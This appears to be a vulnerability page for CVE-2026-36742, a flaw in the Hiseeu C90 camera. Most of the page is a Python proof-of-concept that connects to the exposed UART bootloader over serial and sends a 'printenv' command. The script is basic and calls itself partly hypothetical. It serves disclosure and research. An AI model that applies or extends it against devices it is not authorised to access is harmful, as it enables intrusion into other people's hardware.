CVE-2026-36742 Hiseeu C90不安全权限漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-36742 (Hiseeu C90 Insecure Permissions) This script simulates interaction with the exposed UART bootloader. Requirements: pyserial, physical access via TTL-USB adapter. """ import serial import time # Configuration for the UART interface SERIAL_PORT = '/dev/ttyUSB0' # May vary on Windows (e.g., COM3) BAUD_RATE = 115200 def exploit_uart_bootloader(): print(f"[*] Attempting to connect to {SERIAL_PORT} at {BAUD_RATE} baud...") try: # Initialize serial connection ser = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=2) if ser.is_open: print("[+] Connection established. Device is in Debug Mode.") # Wait for bootloader prompt time.sleep(2) # Send a newline to trigger prompt ser.write(b'\r\n') time.sleep(1) # Read initial response response = ser.read_all() print(f"[+] Bootloader Response:\n{response.decode('utf-8', errors='ignore')}") # Example: Sending a command to list memory regions (hypothetical) # In a real scenario, commands might allow dumping firmware or unlocking the shell exploit_cmd = b'printenv\n' ser.write(exploit_cmd) time.sleep(1) # Read exploit response response = ser.read_all() print(f"[+] Exploit Output:\n{response.decode('utf-8', errors='ignore')}") ser.close() print("[*] PoC execution finished.") except serial.SerialException as e: print(f"[-] Serial connection failed: {e}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == '__main__': exploit_uart_bootloader()